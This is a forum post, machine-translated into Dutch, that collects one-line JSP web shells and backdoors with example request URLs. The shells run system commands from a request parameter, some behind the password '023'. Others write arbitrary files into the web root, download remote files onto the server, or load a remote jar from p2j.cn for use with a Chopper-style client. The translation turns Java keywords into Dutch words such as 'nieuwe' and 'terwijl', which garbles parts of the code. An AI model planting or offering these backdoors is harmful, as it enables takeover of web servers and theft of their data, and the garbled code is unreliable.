|
|
Geplaatst op 02-01-2015 18:46:57
|
|
|
|

Overgeplaatst van: http://p2j.cn/?p=1627 1. Voer systeemcommando's uit: Voer systeemcommando's uit zonder echo: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Verzoek: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Er zal geen echo zijn na de uitvoering, wat erg handig is voor bounce shells. Er zijn echo's bij wachtwoordverificatie: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = nieuwe byte[2048]; out.print("<pre>"); terwijl((a=in.read(b))!=-1){ out.println(nieuwe String(b)); } out.print("</pre>"); }%> Verzoek: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Codeer de string en schrijf deze naar het opgegeven bestand: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%> Verzoek: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Schrijf naar de webdirectory: <%nieuwe java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%> Verzoek: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Verzoek: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Schrijf naar de webdirectory: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Verzoek: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Download het externe bestand (als je geen Apache IO Utils gebruikt, kun je de inputstream niet omzetten naar byte, dus het is erg lang...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = nieuwe byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; terwijl ((a = in.read(b)) != -1) { baos.write(b, 0, a); } nieuwe java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Verzoek: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Download naar het webpad: <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = nieuwe byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; terwijl ((a = in.read(b)) != -1) { baos.write(b, 0, a); } nieuwe java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Verzoek: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Vier: Reflectie roept de externe pot, perfectioneert de achterdeur Als je de bovenstaande backdoor-functie niet bevalt als ze te zwak en verouderd is, kun je dit proberen: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Verzoek: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Keukenmesverbinding: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, wachtwoord 023.
Oplossing: Gebruik reflection om een externe jar in de huidige applicatie te laden, en reflection voert het output processing resultaat uit. request.getParameterMap() bevat alle gevraagde parameters. Omdat het externe jar-pakket geladen is, moet de server toegang hebben tot dit jar-adres. |
Vorig:De crisis achter het TXT-tekstbestandVolgend:Java MD5-encryptie, Base64-encryptie en -ontsleuteling Java voert systeemcommando-broncode uit
|